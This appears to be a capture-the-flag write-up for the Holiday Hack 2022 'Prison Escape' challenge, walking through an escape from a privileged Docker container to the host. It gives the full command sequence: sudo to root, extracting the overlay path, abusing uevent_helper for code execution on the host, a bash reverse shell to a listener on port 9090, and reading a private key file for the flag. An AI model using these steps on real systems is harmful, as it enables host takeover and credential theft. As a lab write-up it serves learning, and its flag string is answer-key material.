Skip to content

Prison Escape

Time to escape the Docker Prison. This was a neato exercise, since prior to this the extent of my Docker escapes usually revolved around poor developers that didn't think Docker containers were as ephemeral as they are supposed to be considered and left behind pretty sensitive artifacts that an attacker could use to pivot.

######################################################
Sun Dec 11 17:26:03 UTC 2022
On attempt [5] of trying to connect.
If no connection is made after [60] attempts
contact the holidayhack sys admins via discord.
######################################################

Greetings Noble Player, 

You find yourself in a jail with a recently captured Dwarven Elf.

He desperately asks your help in escaping for he is on a quest to aid a friend in a search for treasure
inside a crypto-mine. 

If you can help him break free of his containment, he claims you would receive "MUCH GLORY!"

Please, do your best to un-contain yourself and find the keys to both of your freedom.

Greeted with a shell. A shell in which I had sudo access with no password, which honestly is one of the first things I check whenever I'm presented with any shell:

grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
    (ALL) NOPASSWD: ALL
grinchum-land:~$ sudo su
grinchum-land:/home/samways# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(
dialout),26(tape),27(video)

Ok, so now that I'm root...let's try to break out of this container. Assuming of course it actually is a container. One easy way to check is for the existance of /.dockerenv file, but another more definitive way is to check for /docker appearing anywhere in cat /proc/1/cgroup:

grinchum-land:/home/samways# cat /proc/1/cgroup
11:blkio:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
10:pids:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
9:perf_event:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
8:hugetlb:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
7:cpuset:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
6:devices:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
5:cpu,cpuacct:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
4:memory:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
3:freezer:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
2:net_cls,net_prio:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
1:name=systemd:/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380
0::/docker/c686b7175d5ad3fa9d3cde4ac0bc8607067bedd1b59007a77d409f15f691d380

I think that about confirms it. Next, it'd be nice to see what kind of access we have. If we are inside a privileged container, we should see access to a ton of additional devices.

grinchum-land:/home/samways# ls /dev
autofs           loop0   nvram     tty1   tty20  tty31  tty42  tty53  tty7     vcs5   vcsu3
btrfs-control    loop1   ptmx      tty10  tty21  tty32  tty43  tty54  tty8     vcs6   vcsu4
core             loop2   ptp0      tty11  tty22  tty33  tty44  tty55  tty9     vcsa   vcsu5
cpu              loop3   pts       tty12  tty23  tty34  tty45  tty56  ttyS0    vcsa1  vcsu6
cpu_dma_latency  loop4   random    tty13  tty24  tty35  tty46  tty57  uhid     vcsa2  vda
cuse             loop5   shm       tty14  tty25  tty36  tty47  tty58  uinput   vcsa3  vsock
fd               loop6   snapshot  tty15  tty26  tty37  tty48  tty59  urandom  vcsa4  zero
full             loop7   stderr    tty16  tty27  tty38  tty49  tty6   vcs      vcsa5
fuse             mem     stdin     tty17  tty28  tty39  tty5   tty60  vcs1     vcsa6
input            mqueue  stdout    tty18  tty29  tty4   tty50  tty61  vcs2     vcsu
kmsg             net     tty       tty19  tty3   tty40  tty51  tty62  vcs3     vcsu1
loop-control     null    tty0      tty2   tty30  tty41  tty52  tty63  vcs4     vcsu2

That sure looks like a ton to me. Finally, do we have access to manipulate and/or view the disk devices?

grinchum-land:/home/samways# fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table

That's pretty nice to see! If we didn't, it would just throw an error stating no disks present or something similar.

Since we have access to the disk devices, it should also give us a peek at the overlay structure, which is the disk mapping Docker uses to map a specific area of the host's file system to the Docker environment we are currently in. We can find that from /etc/mtab:

grinchum-land:/home/samways# cat /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/R72VN2IY7X6PADNRRRSD2CLDEE:/var/lib/
docker/overlay2/l/NGXZFSYYAMGAG3MBDS3RKZDAFS:/var/lib/docker/overlay2/l/KZJ6C34VUHID76QV2CEK7YTS2V:/var/
lib/docker/overlay2/l/DMXRNFYOCEIS2LYUNKUAFUSLJ5:/var/lib/docker/overlay2/l/
XZMVAGETZ3I4DPJGUQXFLFYQLH:/var/lib/docker/overlay2/l/7M7R3HGJRPY6XZT5AQ2EMVSX54:/var/lib/docker/overlay2
/l/Q3H4YFMDHRP6UFIDK5JZZ6KPHY:/var/lib/docker/overlay2/l/4FI2PHXXWQ3LRN3O7TQTUP6CUB:/var/lib/docker/
overlay2/l/ZHKZEXRWKO42ALFAZO7ON4QBFS:/var/lib/docker/overlay2/l/QRJPUVBV4PT4OBPKQ7RTGE32EZ,upperdir=/var
/lib/docker/overlay2/c6480c70869c5a0e4fbfee8a923461aba884051da8688a808bc16c53e686b633/diff,workdir=/var/
lib/docker/overlay2/c6480c70869c5a0e4fbfee8a923461aba884051da8688a808bc16c53e686b633/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/root /config ext4 rw,relatime 0 0
/dev/root /etc/resolv.conf ext4 rw,relatime 0 0
/dev/root /etc/hostname ext4 rw,relatime 0 0
/dev/root /etc/hosts ext4 rw,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0

Yikes, that's a lot to take in. And really we only need one very specific section of a long line from the above, and that's everything after upperdir= up to -- but not including -- the next comma. I can grab that with some snazzy linux-fu. I will grab it and set it to the variable HOSTPATH

HOSTPATH=$(grep overlay /etc/mtab | awk -F, '{print $4}' | cut -f2 -d=)

Now that all the ducks are lined up in a nice neat little row, it's time to see if I can get code execution on the host OS. For this, I can issue a command to the host's uevent_helper to fool it into executing something when a new device is mounted on the container's file system. This mechanism is only allowed because I have the CAP_SYS_ADMIN capability, which is proven from the above checks. I can trigger a change event by sending the word change to /sys/class/mem/null/uevent. This should execute the script mentioned in uevent_helper because we are fooling the host into thinking a device was unplugged or plugged in and are executing the helper script as a result. Pretty sneaky.

To make it a little easier, I will create a script in the root directory named t.sh which will determine the full path of itself and write the output to that directory. Just to test if I have code execution however, I will simply cat the host's /etc/hostname to the file /o.txt. If it's different from the docker container's (which is grinchum-land), then I did it!

This is the script I came up with:

t.sh

#!/bin/sh
b=`dirname $0`
cat /etc/hostname > $b/o.txt

As mentioned before, it is fairly straightforward. Sets the b variable to whatever the full path is that calls the script, then runs a command that outputs to the same directory as o.txt.

Of course, I can't forget to give it execute permissions.

chmod 755 /t.sh

I guess I could use chmod 777, but while I may be a hacker, I used to be a sysadmin, and I am not rooted in pure evil. Mostly. I guess old habits die hard.

I then added our script to the event helper and triggered a change:

echo "$HOSTPATH/t.sh" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent

Now the output showed:

Output

Nice, showed the hostname of the host OS. I have code execution! From here I can have the remote host serve back a reverse shell. And given the weird UI that I have to work with, I will need another window to catch the reverse shell. Do I have something like tmux on the machine?

...yes I do.

Well then...let's get a shell!

I changed the t.sh script instead to run this:

t.sh

#!/bin/bash
/bin/bash -i >& /dev/tcp/172.18.0.99/9090 0>&1

My fairly standard reverse shell. Good ol' Bash!

Now...start up tmux by typing tmux, then split the terminal with Ctrl+B then %.

In one terminal, start up the reverse shell listener:

nc -lvnp 9090

Some ask me, "why always port 9090?" I always ask that of all my prey. I just like the sound of it.

Actually that's literally the only reason I use 9090. It's just easier to say and it's muscle memory by now.

Then execute the previous command as before:

echo "$(grep overlay /etc/mtab | awk -F, '{print $4}' | cut -f2 -d=)"/t.sh" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent

And...

Reverse Shell

Poking around the OS doesn't give me much, except to say that I am in yet another Docker container, and I am yet again still in a privileged container. Unfortunately for me this time, this is a much more bare-bones container without nmap or netcat, so instead of spending a lot of time jerry-rigging a new reverse shell or poking around the network this container is a part of (which gives me more access to the 172.17.0.0/24 subnet), I will stop here assuming this is already in scope. Though I did notice that python exists on this host...ooo, so tempting but no. I've gotten in trouble for much less.

Now, since the challenge states :

Challenge

Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

After changing the cat /etc/hostname to cat /home/jailer/.ssh/jail.key.priv and viewing the resulting o.txt file, I am greeted with this:

Flag

And just so I have the ascii:

                Congratulations! 

          You've found the secret for the 
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               ```--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|